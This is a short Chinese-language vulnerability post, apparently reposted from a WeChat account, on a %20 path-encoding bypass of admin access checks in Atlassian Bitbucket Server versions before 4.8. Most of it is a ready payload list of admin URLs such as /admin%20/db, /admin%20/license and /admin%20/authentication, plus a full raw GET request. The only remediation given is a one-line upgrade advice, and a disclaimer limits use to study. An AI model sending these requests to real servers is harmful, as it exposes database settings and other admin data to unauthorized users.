漏洞说明
Bitbucket Cloud 是一款基于 Git 的代码托管与协作工具，专为团队打造。Bitbucket 一流的 Jira 和 Trello 集成旨在集结整个软件团队以便共同处理一个项目。我们为您的团队提供了一个平台，方便您的团队开展从概念到云的代码协作、通过自动化测试构建优质代码，以及从容地部署代码。
-------来自官网
Bitbucket 由 Atlassian 团队开发。其中出现了一个通过 %20 绕过权限的漏洞，导致任意用户可获取敏感数据
影响版本
Bitbucket Server < 4.8漏洞复现
payload：
/admin%20/mail-server/admin%20/db/admin%20/db/edit/admin%20/license/admin%20/logging/admin%20/server-settings/admin%20/authentication/admin%20/avatars
GET /admin%20/db HTTP/1.1Host: IP：portUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
修复建议
升级到安全版本
本文章仅用于学习交流，不得用于非法用途
原文始发于微信公众号（才疏学浅的H6）：Atlassian Bitbucket 登录绕过漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论